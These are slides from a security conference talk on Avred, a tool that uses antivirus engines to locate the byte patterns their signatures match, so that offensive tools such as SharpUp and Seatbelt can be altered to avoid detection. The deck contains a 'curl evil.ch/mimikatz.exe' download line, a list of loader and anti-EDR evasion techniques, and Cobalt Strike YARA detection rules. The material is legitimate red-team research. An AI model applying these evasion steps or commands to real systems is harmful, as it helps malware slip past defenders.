Analyzing and Reverse Engineering Antivirus Signatures

Dobin Rutishauser
mastodon.social/@dobin

Our Signatures Are Bad
And We Should Feel Bad
Avred  |  About Me

Developer  // TerreActive
Pentester  // Compass Security
Developer  // UZH
SOC Analyst  // Infoguard
RedTeam Lead  // Raiffeisen

SSL/TLS Recommendations
// OWASP Switzerland

Burp Sentinel - Semi Automated Web Scanner
// BSides Vienna

Automated WAF Testing and XSS Detection
// OWASP Switzerland Barcamp

Fuzzing For Worms - AFL For Network Servers
// Area 41

Develop your own RAT - EDR & AV Defense
// Area 41

Memory Corruption Exploits & Mitigations
// BFH - Bern University of Applied Sciences

Gaining Access
// OST - Eastern Switzerland University of Applied Sciences
Background, 11min
Scanning, 11min
Verifying, 15min
Augment & Outflank, 15min
What does it all mean, 5min

01 The scope and intro
02 Identifying matches
03 Make sure matches work
04 Bypass AV
05 Conclusion
Try it yourself live:
● https://avred.r00ted.ch

Source:
● https://github.com/dobin/avred
● https://github.com/dobin/avred-server
Signatures
& Research Area

Intro
This talk is about **file signatures**

- Used in Antivirus
- Used to detect malicious files
- Multiple byte strings
- Using AND, OR
Intro: Where are Signatures?

Server
  AV

Content Filter / Proxy
  AV

Client
  AV

Mail Gateway
  AV

NIDS
  AV

Internet
I talk about the **Anvirus part of Antivirus software**

Or: **File scanning for malware**

Not part of this talk:

- Sandbox Execution
- In-memory scanning
- Heuristics
- Behaviour based detection
- EDR / EPP
- Runtime AMSI
"The antivirus companies are flooded with malware to add to signature databases," with **20,000 to 30,000 new unique samples** coming out every day, said Roger Thompson, chief research officer at AVG. "It's time to do something different."

Things to consider when creating or using signatures:

- False positive rate
- Performance
Red Teaming:
Antivirus should not remove our shit

Blue Teaming:
Antivirus should remove all the malicious shit

Initial Access:
*LNK, Docx with macros*

C2 Implants:
*CobaltStrike, Sliver*

Tools:
*Mimikatz, Seatbelt*
$ curl evil.ch/mimikatz.exe
$ ./mimikatz.exe
File not found
AV detects a tool - what to do?

- **Recompile**
  - Some tools don't even release a binary on GitHub anymore

- **Obfuscate**
  - Change source code, encrypt strings, etc.

- **Packer**
  - UPX etc.
  - Can be detected reliably

- **Loader**
  - Use loader to decrypt code
  - Uses Process injection etc. to run it
Intro: Loader’s Malware.exe

Malware.exe

Loader

Encrypted Malware.exe
Loader:
- Need **Anti-EDR**
- Powershell version downgrades, process injection, hollowing, API unhooking, (in-) direct syscalls with ROP, thread sleep, fake backtrace, process herpaderping…

And: **DLL Sideloading** becomes a trend
- but files on disk are being scanned

Why not go back to the beginning, and attack the signatures itself?
Antivirus in the Age of floppy disks

The good old times
Oldschool Antivirus

- Viruses are distributed via floppy disks
- Old-school viruses
  - Infect exe files
  - When started: copy to other exes
  - Exe files get distributed via floppy (games)

Elk Cloner (1982) - Apple II
The Brain Virus (1986) - IBM
The Vienna Virus (1987) - Makro
Bacteria:
- Organism
- Alive
- Antibiotics

Virus:
- Strang of “DNA”
- Dead (?)
- Needs a host to replicate
- Show DNA to our immune system
  - Signature -> (Antivirus scanner)
Oldschool Virus

file.exe

Virus
Avred | Oldschool Virus

- Virus
- Virus Encrypted
- Loader
- OrigFile.exe
  - Loader
  - Virus Encrypted
Virus Polymorphism:
- Change code without changing its meaning (phenotype expression)
- Started around 1990

```plaintext
x++  x = x + 1
x = x + 100
x = x - 99
A = 10
B = 21
x = B - 2 * A
```
Polymorphism

Avred

Virus

Loader

Virus Encrypted

Key = “A”

Io4d3R

Virus Encrypted

Key = “B”

Polymorph loader
Re-encrypt payload
Avred

Oldschool Antivirus

- AV: Have **Signatures** for Viruses
- Anti-AV:
  - **Encryption**: encrypt virus with different keys
  - **Polymorphism**: change parts of the code with equivalent code
  - **Metamorphism**: polymorphism also on the encrypted part
- AV improvements
  - Hand written signatures
  - Code emulator
  - Heuristics
- Zines: 29A, 40hex
AV anti-polymorphism detection:

- Emulation
  - Has signature of the unencrypted virus body
  - Runs the exe in a virtual computer (until virus body is decrypted)

https://www.youtube.com/watch?v=bKgf5PaBzyg

How to uninstall McAfee
AntiVirus REDucer

AntiVirus REDteaming

Avred
Inspiration: ThreatCheck


Takes a binary as input, splits it until it pinpoints that exact bytes that the target engine will flag on and prints them to the screen. This can be helpful when trying to identify the specific bad pieces of code in your tool/payload.
Inspiration: “Automatically extracting static anti-virus signatures”
- Vladimir Meier, SCRT, Insomnihack 2022
- Avdebugger:
  - A python implementation of ThreatCheck
  - PE section aware
- Avcleaner:
  - Tool to transparently encrypt strings (and add decryption code) in PE files
- Proposition: AV looks (only) at .data strings (not code)

https://github.com/scrt/avcleaner/
https://github.com/scrt/avdebugger
https://blog.scrt.ch/2020/06/19/engineering-antivirus-evasion/
Avdebugger shortcomings:
- Uses Defender port for Linux to scan
- Hard to get running
- Source code is hard to read or modify

Question: AV really only detects strings in data sections?

Avred: a better ThreatCheck

Goal: Identify which parts of a file get identified by the AV
Goal: Make it as easy as possible to make the file undetected
Scan file for matches

Avred Reducer
- Use AV executable directly: `av.exe -scan malicious.exe`
- Or: AMSI:

```c
hResult = AmsiInitialize(APP_NAME, &amsiContext);
hResult = AmsiOpenSession(amsiContext, &session);
hResult = AmsiScanBuffer(amsiContext, content, contentSize, fname, session, &amsiRes);
```
Avred

AMSI as a Web Service

Reducer

HTTP
REST

Antivirus

Mimikatz.exe
SharpUp.exe

file.exe

Avred-Server

Matches
● Have: AV Oracle
  ○ File: Detected
  ○ File: Not detected

● Need: Algorithm to find matches in file
Reducer Algorithm: Divide and Conquer

File | 1 | 2 | 3 | 4 | 5 | 6
---|---|---|---|---|---|---
Detected | Detected | Detected | Overwritten 0x00

Detected

Detected

Detected

Detected
# Avred Reducer: Matches

**Match:**
- Offset
- Length
- (File / Data)

Show hex dump of match

### Match 54: 3890537 (size: 30)

<table>
<thead>
<tr>
<th>Offset</th>
<th>Length</th>
</tr>
</thead>
<tbody>
<tr>
<td>003B5D69</td>
<td>00 6F 05 53 55 74 55 6E 68 61 6E 64 6C 65 64 45</td>
</tr>
<tr>
<td>003B5D79</td>
<td>78 63 65 70 74 69 6F 6E 66 69 6C 74 65 72 .o.SetUnhandedE xceptionFilter</td>
</tr>
</tbody>
</table>

### Match 55: 3890762 (size: 20)

<table>
<thead>
<tr>
<th>Offset</th>
<th>Length</th>
</tr>
</thead>
<tbody>
<tr>
<td>003B5E4A</td>
<td>00 00 62 00 5F 5F 73 65 74 5F 61 70 70 5F 74 79 ..b.__set_app_type..</td>
</tr>
<tr>
<td>003B5E5A</td>
<td>70 65 00 00</td>
</tr>
</tbody>
</table>
How to use it

Avred
Usage
Demo:
● How to use Avred to make a file undetected
● SharpUp, Match 28: DecryptGPPassword, cPassword
### Info

**Dominant. Modify this to make file undetected**

Section: `.text #Strings`

### Hexdump

<table>
<thead>
<tr>
<th>Address</th>
<th>Hex</th>
</tr>
</thead>
<tbody>
<tr>
<td>00004868</td>
<td>00 44 65 63 72 79 70 74 47 50 50 61 73 73 77</td>
</tr>
<tr>
<td>00004878</td>
<td>6F 72 64 00 63 50 61 73 73 77 6F 72 64 00 63</td>
</tr>
</tbody>
</table>

`.DecryptGPPassword.cPassword.c`
namespace SharpUp.Utilities
{
    public static class FileUtils
    {
        public struct GPPPassword
        {
            public string UserName;
            public string NewName;
            public string cPassword;
            public string Changed;
        }
    }
}
<table>
<thead>
<tr>
<th>Name</th>
<th>qIFoJe.SharpUp.exe</th>
</tr>
</thead>
<tbody>
<tr>
<td>Size</td>
<td>39,936 bytes</td>
</tr>
<tr>
<td>Type</td>
<td>EXE PE.NET</td>
</tr>
<tr>
<td>MD5</td>
<td>99433ba2c202fc3a60d3e43810e2f2af</td>
</tr>
<tr>
<td>Scan date</td>
<td>2023-07-31 12:01:19</td>
</tr>
<tr>
<td>Other Scans</td>
<td>avira avg</td>
</tr>
</tbody>
</table>

File is not detected by AV.
Summary:

- Files are detected with a **signature**
  - Which looks for unique byte combinations in the file
- Uses a **divide & conquer** algorithm to identify all matches
  - offset, size
  - Reversing of the AV signature
- Can **modify the match** to make it undetectable
  - Breaking the signature
Scan Problems & Solutions

Reducer Challenges
.EXE are in PE format
PE files have headers and sections
Sections are either code (.text) or data (.data)

Assumption:
No detections in headers
No “fuzzing” of headers, they need to stay intact
Section Detection: Zero section
Hide: .text -> Detected: True
Hide: .rdata -> Detected: False
Hide: .data -> Detected: True
Hide: .pdata -> Detected: True
Hide: _RDATA -> Detected: True
Hide: .rsrc -> Detected: True
Hide: .reloc -> Detected: True
1 section(s) trigger the antivirus independantly
section: .rdata
Launching bytes analysis on section: rdata
(96768-143360)
Scanning for matches...
Section Detection: Zero section (leave all others intact)

Hide: .text -> Detected: False
Hide: .data -> Detected: True
Hide: .rdata -> Detected: False
Hide: .pdata -> Detected: True
Hide: .xdata -> Detected: True
Hide: .idata -> Detected: False
Hide: .CRT -> Detected: True
Hide: .tls -> Detected: True
Hide: .rsrc -> Detected: True
Hide: .reloc -> Detected: True
Hide: Header -> Detected: False

3 section(s) trigger the antivirus independently
  section: .text
  section: .rdata
  section: .idata

Launching bytes analysis on section: .text (1024-58368)
Reducer Improvement: File Structure

findDetectedSections() :: Hide: .rsrc -> Detected: True
findDetectedSections() :: Hide: .reloc -> Detected: True
findDetectedSections() :: Hide: methods -> Detected: True
findDetectedSections() :: Hide: #~ -> Detected: True
findDetectedSections() :: Hide: #Strings -> Detected: True
findDetectedSections() :: Hide: #US -> Detected: False
findDetectedSections() :: Hide: #GUID -> Detected: True
findDetectedSections() :: Hide: #Blob -> Detected: True

scanForMatchesInPe() :: 1 section(s) trigger the antivirus independantly
scanForMatchesInPe() :: section: #US
scanForMatchesInPe() :: Launching bytes analysis on section: #US (47876-
Goal: **Find PE sections** which make file undetected if overwritten
  ● Then Reduce each sections individually

No sections found?
  ● **Fallback** to reduce complete file
Other things to consider when reducing:

- Some **files** are detected by **hash**?
- Some **sections** are being detected by **hash**?
- Sometimes the **algorithm finishes** but file still **detected**? (with all matches overwritten)
- Some scans take very **long** (1 / 10 / 100min)
Verifier goes through the matches again to make sure they work

Most important test: #2
Fully Overwrite Match X -> Still Detected?
Verifier: The hunt for dominance

Match 0: 1000-1100

File: Matches

File: Match #0, Test:2

File with Overwritten match 0 Detected?
Verifier Example: Weak Signature (Dominant Matches)

<table>
<thead>
<tr>
<th>Test #</th>
<th>MatchOrder</th>
<th>ModifyPosition</th>
<th>Match#0</th>
<th>Match#1</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>ISOLATED</td>
<td>MIDDLE8</td>
<td></td>
<td></td>
</tr>
<tr>
<td>1</td>
<td>ISOLATED</td>
<td>THIRDS4</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>ISOLATED</td>
<td>FULL</td>
<td></td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>ISOLATED</td>
<td>FULL</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td>4</td>
<td>INCREMENTAL</td>
<td>MIDDLE8</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td>5</td>
<td>INCREMENTAL</td>
<td>FULL</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td>6</td>
<td>DECREMENTAL</td>
<td>FULL</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>7</td>
<td>ALL</td>
<td>MIDDLE8</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>8</td>
<td>ALL</td>
<td>THIRDS4</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>9</td>
<td>ALL</td>
<td>FULL</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>

Result: 0 0
### Verifier Example: Weak Signature (Dominant Matches)

<table>
<thead>
<tr>
<th>Test #</th>
<th>MatchOrder</th>
<th>ModifyPosition</th>
<th>Match#0</th>
<th>Match#1</th>
<th>Match#2</th>
<th>Match#3</th>
<th>Match#4</th>
<th>Match#5</th>
<th>Match#6</th>
<th>Match#7</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>ISOLATED</td>
<td>MIDDLE8</td>
<td>5B</td>
<td>6B</td>
<td>8B</td>
<td>5B</td>
<td>10B</td>
<td>27B</td>
<td>157B</td>
<td>39B</td>
</tr>
<tr>
<td>1</td>
<td>ISOLATED</td>
<td>THIRDS4</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>ISOLATED</td>
<td>FULL</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>ISOLATED</td>
<td>FULLB</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>INCREMENTAL</td>
<td>MIDDLE8</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>5</td>
<td>6</td>
<td>7</td>
</tr>
<tr>
<td>5</td>
<td>INCREMENTAL</td>
<td>FULL</td>
<td>0</td>
<td>1</td>
<td>2</td>
<td>3</td>
<td>4</td>
<td>5</td>
<td>6</td>
<td>7</td>
</tr>
<tr>
<td>6</td>
<td>DECREMENTAL</td>
<td>FULL</td>
<td>7</td>
<td>6</td>
<td>5</td>
<td>4</td>
<td>3</td>
<td>2</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>7</td>
<td>ALL</td>
<td>MIDDLE8</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>8</td>
<td>ALL</td>
<td>THIRDS4</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>9</td>
<td>ALL</td>
<td>FULL</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Result**: 4, 7, 3
## Avred

### Verifier Example: Weak Signature (Non-Dominant Matches)

<table>
<thead>
<tr>
<th>Test #</th>
<th>MatchOrder</th>
<th>ModifyPosition</th>
<th>Match#0 5B</th>
<th>Match#1 6B</th>
<th>Match#2 8B</th>
<th>Match#3 5B</th>
<th>Match#4 10B</th>
<th>Match#5 27B</th>
<th>Match#6 157B</th>
<th>Match#7 39B</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>ISOLATED</td>
<td>MIDDLE8</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>1</td>
<td>ISOLATED</td>
<td>THIRDS4</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>ISOLATED</td>
<td>FULL</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>ISOLATED</td>
<td>FULLB</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>INCREMENTAL</td>
<td>MIDDLE8</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>INCREMENTAL</td>
<td>FULL</td>
<td>0</td>
<td>1</td>
<td>2</td>
<td>3</td>
<td>4</td>
<td>5</td>
<td>6</td>
<td>7</td>
</tr>
<tr>
<td>6</td>
<td>DECREMENTAL</td>
<td>FULL</td>
<td>7</td>
<td>6</td>
<td>5</td>
<td>4</td>
<td>3</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>ALL</td>
<td>MIDDLE8</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>8</td>
<td>ALL</td>
<td>THIRDS4</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>9</td>
<td>ALL</td>
<td>FULL</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

### Result

<table>
<thead>
<tr>
<th>Test #</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>d</td>
</tr>
<tr>
<td>1</td>
<td>d</td>
</tr>
<tr>
<td>2</td>
<td>d</td>
</tr>
<tr>
<td>3</td>
<td>d</td>
</tr>
<tr>
<td>4</td>
<td>d</td>
</tr>
<tr>
<td>5</td>
<td>d</td>
</tr>
<tr>
<td>6</td>
<td>d</td>
</tr>
<tr>
<td>7</td>
<td>d</td>
</tr>
<tr>
<td>8</td>
<td>d</td>
</tr>
<tr>
<td>9</td>
<td>d</td>
</tr>
<tr>
<td>Test #</td>
<td>MatchOrder</td>
</tr>
<tr>
<td>-------</td>
<td>------------</td>
</tr>
<tr>
<td>0</td>
<td>ISOLATED</td>
</tr>
<tr>
<td>1</td>
<td>ISOLATED</td>
</tr>
<tr>
<td>2</td>
<td>ISOLATED</td>
</tr>
<tr>
<td>3</td>
<td>ISOLATED</td>
</tr>
<tr>
<td>4</td>
<td>INCREMENTAL</td>
</tr>
<tr>
<td>5</td>
<td>INCREMENTAL</td>
</tr>
<tr>
<td>6</td>
<td>DECREMENTAL</td>
</tr>
<tr>
<td>7</td>
<td>ALL</td>
</tr>
<tr>
<td>8</td>
<td>ALL</td>
</tr>
<tr>
<td>9</td>
<td>ALL</td>
</tr>
</tbody>
</table>

**Result:**

- c
- d
- d
- d
- d
- d
- d
Verifier: Signature Categorization

Signature type:
- **One**: One dominant match
- **Weak**: At least one dominant match
- **Robust**: Otherwise

Reversing of (yara) rule / boolean formula
- **Weak**: \(a \land b \land c\)
- **Robust**: \(a \lor b \lor c\)
<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Outflank</th>
<th>Appraisal</th>
<th>Cnt</th>
</tr>
</thead>
<tbody>
<tr>
<td>1521AD4EF052DF85.GodPotato.exe</td>
<td>EXE PE.NET</td>
<td></td>
<td>Fragile (AND)</td>
<td>2</td>
</tr>
<tr>
<td>2CF813DC64A57D6C_my3head.exe</td>
<td>EXE PE.NET</td>
<td></td>
<td>Fragile (AND)</td>
<td>9</td>
</tr>
<tr>
<td>30177917A5DCE25A.SharpRDP.exe</td>
<td>EXE PE.NET</td>
<td></td>
<td>Fragile (AND)</td>
<td>27</td>
</tr>
<tr>
<td>40249D63686DCF8A.SharpMapExec.exe</td>
<td>EXE PE.NET</td>
<td></td>
<td>Fragile (AND)</td>
<td>8</td>
</tr>
<tr>
<td>89EFECEA3CF6A4DF.SharpView.exe</td>
<td>EXE PE.NET</td>
<td></td>
<td>One</td>
<td>15</td>
</tr>
<tr>
<td>CE2D022DE752CB56.NetLoader.exe</td>
<td>EXE PE.NET</td>
<td></td>
<td>Fragile (AND)</td>
<td>24</td>
</tr>
<tr>
<td>Driploder.exe</td>
<td>EXE PE64</td>
<td>y</td>
<td>Fragile (AND)</td>
<td>3</td>
</tr>
<tr>
<td>Group3r.exe</td>
<td>EXE PE.NET</td>
<td></td>
<td>Fragile (AND)</td>
<td>19</td>
</tr>
<tr>
<td>PetitPotam.exe</td>
<td>EXE PE32</td>
<td>y</td>
<td>Fragile (AND)</td>
<td>287</td>
</tr>
<tr>
<td>Rubeus.exe</td>
<td>EXE PE.NET</td>
<td></td>
<td>Fragile (AND)</td>
<td>14</td>
</tr>
<tr>
<td>Seatbelt.exe</td>
<td>EXE PE.NET</td>
<td></td>
<td>Fragile (AND)</td>
<td>17</td>
</tr>
<tr>
<td>SharpHound.exe</td>
<td>EXE PE.NET</td>
<td></td>
<td>Fragile (AND)</td>
<td>23</td>
</tr>
<tr>
<td>SharpUp.exe</td>
<td>EXE PE.NET</td>
<td></td>
<td>Fragile (AND)</td>
<td>37</td>
</tr>
<tr>
<td>Sniffer.exe</td>
<td>EXE PE.NET</td>
<td></td>
<td>Fragile (AND)</td>
<td>33</td>
</tr>
<tr>
<td>cs-def-64-stageless.exe</td>
<td>EXE PE64</td>
<td></td>
<td>Robust (OR)</td>
<td>7</td>
</tr>
</tbody>
</table>
Match conclusion for RedTeamer:

- **Green**: Dominant :-)  
- **Grey**: Weak :-(  
- **Red**: Robust :-(
Demo:
  ● Match verification overview
  ● Show & Tell
Yara Rules

Yara
rule APT_CobaltStrike_Beacon_Indicator {
  meta:
    description = "Detects CobaltStrike beacons"
    author = "JPCERT"
    date = "2018-11-09"
  strings:
    $v1 = { 73 70 72 6E 67 00 }
    $v2 = { 69 69 69 69 69 69 69 69 }
  condition:
    uint16(0) == 0x5a4d and filesize < 300KB and all of them
}
rule HKTL_Win_CobaltStrike : Commodity {
    meta:
        author = "threatintel@volexity.com"
        date = "2021-05-25"
        description = "The CobaltStrike malware family."
        hash = "b041efb8ba2a88a3d172f480e0a098d72eef13e42af6aa5fb838e6ccab500a7c"
        reference = "https://www.volexity.com/blog/2021/05/27/suspected-apt29-operation-launches-election-fraud-themed-phishing-c"
    strings:
        $s1 = "%s (admin)" fullword
        $s2 = {48 54 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D 0A 43 6F 6E 74 65 73 74 2D 54 79 70 65 3A 20 61 70 61 74 69 6F 6E 2C 20 32 30 20 50 61 73 73 65 64 7A 27 20 41 63 73 69 74 69 6F 6E 65 2C 20 65 74 72 70 75 74 65 72 20 69 6E 70 61 72 74 20 63 6F 6C 6F 70 27 31 2E 30 2E 31 2E 30"
        $s3 = "%02d/%02d %02d:%02d:%02d" fullword
        $s4 = "%s as %s\%s: %d" fullword
        $s5 = "%s&%s=%s" fullword
        $s6 = "rijndael" fullword
        $s7 = "(null)"
    condition:
        all of them
rule HKTL_CobaltStrike_Beacon_4_2_Decrypt {
    meta:
        author = "Elastic"
        description = "Identifies deobfuscation routine used in Cobalt Strike Beacon DLL version 4.2"
        reference = "https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures"
        date = "2021-03-16"
    strings:
        $a_x64 = {4C 8B 53 08 45 8B 5A 04 4D 8D 52 08 45 85 52 75 05 45 85 DB 74 33 45 38 CB 73 E6 49 88 F9 4C 88 03}
        $a_x86 = {8B 46 04 8B 08 8B 50 04 83 C0 08 89 55 08 89 45 0C 85 C9 75 04 85 D2 74 23 3B CA 73 E6 8B 06 8D 3C 08 33 D2}
    condition:
        any of them
}

https://github.com/Neo23x0/signature-base/blob/master/yara/apt_cobaltstrike.yar
rule HKTL_CobaltStrike_Beacon_STRINGS {
  meta:
      author = "Elastic"
      description = "Identifies strings used in Cobalt Strike Beacon DLL"
      reference = "https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures"
      date = "2021-03-16"
  strings:
      $s1 = "%02d/%02d/%02d %02d:%02d:%02d"
      $s2 = "Started service %s on %s"
      $s3 = "%s as %s\%s: %d"
  condition:

      2 of them
}
```c
/*
48 31 C0 xor  rax, rax
AC  lodsbl
41 C1 C9 0D ror  r9d, 0Dh
41 01 C1 add  r9d, eax
38 E0 cmp al, ah
75 F1 jnz  short loc_100000000000007D
4C 03 4C 24 08 add  r9, [rsp+40h+var_38]
45 39 D1 cmp r9d, r10d
75 D8 jnz  short loc_10000000000006E
58 pop  rax
44 8B 40 24 mov  r8d, [rax+24h]
49 01 D0 add  r8, rdx
66 41 8B 0C 48 mov  cx, [r8+rcx*2]
44 8B 40 1C mov  r8d, [rax+1Ch]
49 01 D0 add  r8, rdx
41 88 04 88 mov  eax, [r8+rcx*4]
48 01 D0 add  rax, rdx
*/
```

```c
$apilocator = {
48 [2]
AC
41 [2] 0D
41 [2]
38 ??
75 ??
4C [4]
45 [2]
75 ??
5?
44 [2] 24
49 [2]
66 [4]
44 [2] 1C
49 [2]
41 [3]
48
}
```
YARA-Signator

Automatic YARA rule generation for malware repositories. Currently used to build YARA signatures for Malpedia (https://malpedia.caad.fkie.fraunhofer.de) and limited to x86/x64 executables and memory dumps for Linux, macOS and Windows.

Target Audience

This software is useful for larger organizations like companies or CERTs as well as for individuals. It only requires a modern, personal computer (8 cores/threads and 16 GB recommended) and a curated malware repository. Curated means in this context that all samples are already sorted and clustered to families. Each family can contain various samples. In general the tool works better for unpacked malware because we try to detect special code regions or functions that identify a given family.

/* DISCLAIMER
* The strings used in this rule have been automatically selected from the
* disassembly of memory dumps and unpacked files, using YARA-Signator.
* The code and documentation is published here:
* https://github.com/fxb-cocacoding/yara-signator
* As Malpedia is used as data source, please note that for a given
* number of families, only single samples are documented.
* This likely impacts the degree of generalization these rules will offer.
* Take the described generation method also into consideration when you
* apply the rules in your use cases and assign them confidence levels.
*/

strings:

```plaintext
$sequence_0 = { c9 c3 55 8bec 81e40d0000 }
    // n = 5, score = 4000
    // c9
    // c3
    // 55
    // 8bec
    // 81e40d0000

$sequence_1 = { 33c8 7402 ebf 0 0 }
    // n = 4, score = 4800
    // 33c8
    // 7402
    // ebf
    // 0

leave
push ebp
mov ebp, esp
sub esp, 0x9c4

xor eax, eax
je 4
jmp 0xffffffffc
```
while(rs.next()) {
    if(progress == config.instructionLimitPerFamily) {
        logger.warn("Family: " + family_id + " ran into the limit of " + config.instructionLimitPerFamily + "! Rule might be useless...");
        break;
    }
}

Ngram ngram = new Ngram(i);
//String familyfromDB = rs.getString("family");
int score = rs.getShort("score");
Integer[] filenamesfromDB = (Integer[]) rs.getArray("sample_id").getArray();
//int bitness = rs.getInt("bitness");

//TODO: find the correct bitness
int bitness = 32;
int occurrenceFromDB = rs.getInt("occurrence");
String concatFromDB = rs.getString("concat");

//We have an empty entry at position [0] now, because the structure behind this looks like that: 5e8000000000#7505#7403#6c
String[] concat = concatFromDB.split("#");

ArrayList<Instruction> instructions;
instructions = generateInstructionsFromConcatString(i, bitness, concatFromDB, concat, config.capstone_host, config.capstone_port);
ngram.setNgramInstructions(instructions);

//ins.setMnemonics(al);
}
else if(bitness == 64) {
    //ins.setMnemonics(disasm.getMnemonics64(concat[index], 0x00));
} else {
    throw new UnsupportedOperationException();
}
● AV use something like yara
  ○ AND / OR of several byte patterns
● Most files have a dominant match
  ○ Dominant: change this part of the file to make file undetected
● Reversing the signature with an AV oracle is not trivial
  ○ Performance
  ○ Correctness
● Verifier
  ○ Reversing the boolean formula of the signature
  ○ Making sure the match is really a match
Verifying the Verifier

Realistic Testing with AV’s
Verifying the Verifier

Let's perform some tests with real-life AV
Just fully overwrite complete dominant matches
Download file with different browsers
See what's happening

Note:
- No execution, only download
Demo:

- Seatbelt.exe Match 0
### Verifying the verifier

<table>
<thead>
<tr>
<th>What</th>
<th>Defender Chrome +CDP</th>
<th>Defender Firefox +CDP</th>
<th>Defender Firefox -CDP</th>
<th>Defender Chrome -CDP</th>
<th>AVG Chrome</th>
<th>Avira Firefox</th>
</tr>
</thead>
<tbody>
<tr>
<td>Seatbelt.exe</td>
<td><strong>D</strong></td>
<td>ND</td>
<td>ND</td>
<td>ND</td>
<td>ND</td>
<td>ND</td>
</tr>
<tr>
<td>Match #0</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**D**: Detected  
**ND**: Not detected

**CDP**: Cloud Delivery Protection
Demo: Avira
Avred Defender: Firefox

Cloud-Delivered Protection

Result: Not detected
Demo Defender Chrome
NO Cloud Delivered Protection

Result: Not detected
AV Defender: Chrome + Cloud-Delivered protection

Demo Defender Chrome Cloud-Delivered protection

Result: Detected
Avred: Outflank in Real-Life: Defender

Strong:
● Defender Cloud-Delivered Protection
● With Chrome, Edge

Weak:
● Firefox with CDP
● AVG
● Avira

Cloud-delivered protection
Provides increased and faster protection with access to the latest protection data in the cloud. Works best with Automatic sample submission turned on.

[On/Off switch]

Automatic sample submission
Send sample files to Microsoft to help protect you and others from potential threats. We'll prompt you if the file we need is likely to contain personal information.

[On/Off switch]

Warning: Automatic sample submission is off. Your device may be vulnerable.

[Dismiss button]
Augmentation

Add information to matches
file.exe

Reducer

Matches

Verifier

Augmentation
WE DO THIS NOT BECAUSE IT IS EASY,
BUT BECAUSE WE THOUGHT IT WOULD BE EASY.
We only have hexdumps
Which match is easiest to change?
Augmentation

EXE PE
Simple EXE:
- Compiled into x86/x64 assembly
- “Native” Code executed by the CPU
- C, C++, Rust, Nim etc.
- Stored in .exe files in PE format
- Commonly used for malware and tools

- Divided into sections
  - .text: Code
  - .data: Data
char a = "Test";

for (int n = 0; n < 0xFF; n++) {
    log("Error: ");
}

Data

Code (.text)
Disassemble matches to get code

- Using radare2 to disassemble
- Problem: radare2 works with processes
  - virtual (relative) addresses (RVA), not file offsets
  - Need to translate between RVA from process to file offset
## Augmentation: PE EXE

<table>
<thead>
<tr>
<th>Offset</th>
<th>Segment Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>DOS header</td>
</tr>
<tr>
<td></td>
<td>NT header</td>
</tr>
<tr>
<td></td>
<td>Section headers</td>
</tr>
<tr>
<td></td>
<td><strong>.text</strong></td>
</tr>
<tr>
<td></td>
<td><strong>.data</strong></td>
</tr>
<tr>
<td>0x1000</td>
<td><strong>.rsrc</strong></td>
</tr>
</tbody>
</table>

File / Harddisk
Augmentation: PE EXE

File / Harddisk

- DOS header
- NT header
- Section headers
- .text
- .data
- .rsrc

Memory / RAM

- .text
- .data
Augmentation: PE EXE

File

Dos header
Nt header
Section headers

.text
.data
.rsrc

Memory / RAM / Virtual Address Space

0x400

0x400000
Augmentation: PE EXE

File
- Dos header
- Nt header
- Section headers

Memory / RAM / Virtual Address Space
- 0x400000
- Match

0x400
- .data
- .rsrc
- Match
